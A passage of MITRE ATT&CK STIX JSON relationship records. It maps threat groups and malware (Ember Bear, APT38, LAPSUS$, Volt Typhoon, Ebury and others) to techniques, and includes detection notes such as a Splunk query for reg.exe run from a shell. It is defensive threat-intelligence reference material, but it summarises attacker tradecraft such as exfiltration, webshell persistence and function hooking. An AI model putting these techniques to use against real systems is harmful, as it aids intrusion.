Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-03T17:19:48.108Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used tools such as [Rclone](https://attack.mitre.org/software/S1040) to exfiltrate information from victim environments to cloud storage such as `mega.nz`.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7213656-7166-4b88-8d32-f388a2ef1671","type":"relationship","created":"2021-10-12T19:44:57.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Lazarus KillDisk April 2018","description":"Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.","url":"https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"}],"modified":"2021-10-12T19:44:57.908Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: ESET Lazarus KillDisk April 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a721a012-3006-476c-88a7-19bfc52bbce4","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"},{"source_name":"GNU Acct","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.","url":"https://www.gnu.org/software/acct/"},{"source_name":"RHEL auditd","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"},{"source_name":"Chokepoint preload rootkits","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.","url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a724a449-cd4d-419a-90a0-cdd5927c60b7","type":"relationship","created":"2020-05-13T19:59:39.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-13T19:59:39.334Z","description":"[DustySky](https://attack.mitre.org/software/S0062) captures PNG screenshots of the main screen.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a726ffe8-d192-4f40-be21-ba2ffe32c670","type":"relationship","created":"2021-03-23T20:49:40.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.256Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has used UDP for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a72a96fc-c76e-4c55-9ea6-4315246c15db","created":"2022-10-13T18:53:11.225Z","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:53:11.225Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a72ce53b-311d-43f2-b145-784c322306c1","type":"relationship","created":"2019-02-18T18:26:55.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/","source_name":"ESET Sednit 2017 Activity"}],"modified":"2019-05-14T17:10:21.995Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.(Citation: ESET Sednit 2017 Activity)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a72eb24f-256b-4d88-a839-55d1d35833bb","created":"2022-06-16T13:06:00.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:23:14.260Z","description":"Monitor for newly executed processes executed from the Run/RunOnce registry keys through Windows EID 9707 or “Software\\Microsoft\\Windows\\CurrentVersion\\Run” and “Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce” registry keys with the full command line.\n\nRegistry modifications are often essential in establishing persistence via known Windows mechanisms. Many legitimate modifications are done graphically via regedit.exe or by using the corresponding channels, or even calling the Registry APIs directly. The built-in utility reg.exe provides a command-line interface to the registry, so that queries and modifications can be performed from a shell, such as cmd.exe. When a user is responsible for these actions, the parent of cmd.exe will likely be explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be learned so they can be tuned out accordingly.\n\nOutput Description\nThe sequence of processes that resulted in reg.exe being started from a shell. That is, a hierarchy that looks like\n• great-grand_parent.exe\n• grand_parent.exe\n• parent.exe\n• reg.exe\n\nAnalytic 1 - Reg.exe called from Command Shell\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"reg.exe\" AND ParentImage=\"cmd.exe\"\n| join left=L right=R where L.ParentProcessGuid = R.ProcessGuid \n [search EventCode IN (1, 4688) Image=\"*cmd.exe\" ParentImage!=\"*explorer.exe\"]","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a72f9e78-41af-40c7-bce3-9e1e21d956e2","type":"relationship","created":"2020-01-24T14:47:41.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:47:41.988Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control","description":"Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.","source_name":"Forcepoint Carbanak Google C2"}],"modified":"2020-03-20T21:06:51.449Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.(Citation: Forcepoint Carbanak Google C2)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a735d1e1-10bf-42e7-aafd-222b4d24d581","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:22:06.577Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7361e2b-9cdc-4fa6-97e4-1b191e9f3952","type":"relationship","created":"2022-03-21T22:15:27.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:16:58.671Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) has encrypted strings.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a737a968-1fec-4e9b-b0dd-d4318f07a691","type":"relationship","created":"2021-12-01T18:05:14.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:05:14.835Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to inject DLLs into specific processes.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7392d5f-d653-4b74-bf08-d95beb5fabcc","created":"2023-07-07T18:06:25.718Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-07T18:06:25.718Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) registered devices for MFA to maintain persistence through victims' VPN.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a73b2e1c-fb14-4e1f-bbe2-b216bb38c694","created":"2024-05-17T20:45:58.602Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:45:58.602Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used Brightmetricagent.exe which contains a command- line interface (CLI) library that can leverage command shells including Z Shell (zsh).(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a73d5874-4aa6-4126-8ae6-af7416b7dc43","type":"relationship","created":"2020-09-11T15:22:21.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.557Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can determine the public IP and location of a compromised host.(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a747c7d5-afe9-4120-bb18-f21b5d9bb988","type":"relationship","created":"2020-05-18T17:31:39.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Maze May 2020","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T16:24:40.189Z","description":"The [Maze](https://attack.mitre.org/software/S0449) encryption process has used batch scripts with various commands.(Citation: FireEye Maze May 2020)(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a74a0a14-9c50-48b8-aa6d-5b0aea81e8fb","created":"2019-04-23T15:49:35.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Ebury Feb 2014","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"},{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T17:33:54.577Z","description":"[Ebury](https://attack.mitre.org/software/S0377) hooks system functions to prevent the user from seeing malicious files (`readdir`, `realpath`, `readlink`, `stat`, `open`, and variants), hide process activity (`ps` and `readdir64`), and socket activity (`open` and `fopen`).(Citation: ESET Ebury Feb 2014)(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a74d38f5-92dc-4944-b840-0ab567f8f3ab","type":"relationship","created":"2021-06-30T17:12:55.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-07T17:28:01.060Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has a module to perform any API hooking it desires.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7590c10-ba0a-453d-b086-1b3427e20462","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:56:03.368Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) executes and stores obfuscated Perl scripts.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a759cca5-d8f2-4704-88c1-df76a1a1625e","created":"2023-07-27T20:52:36.627Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-27T20:52:36.627Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used VBS scripts for code execution on comrpomised machines.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a75d7482-b44c-4fbf-88ab-17839c27a099","created":"2024-08-13T19:47:00.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:43:37.780Z","description":"For [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used .aspx webshells named pickers.aspx, error4.aspx, and ClientBin.aspx, to maintain persistence.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a760c63f-6459-430d-88ce-291513c47d11","type":"relationship","created":"2020-08-11T21:15:35.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-19T17:34:47.589Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can process steganographic images attached to email messages to send and receive C2 commands. [RDAT](https://attack.mitre.org/software/S0495) can also embed additional messages within BMP images to communicate with the [RDAT](https://attack.mitre.org/software/S0495) operator.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7653df0-63f4-4632-b5a2-6b00aead446f","type":"relationship","created":"2020-03-18T00:48:35.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","source_name":"ASERT InnaputRAT April 2018"}],"modified":"2020-03-18T00:48:35.789Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by adding a new service named OfficeUpdateService.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 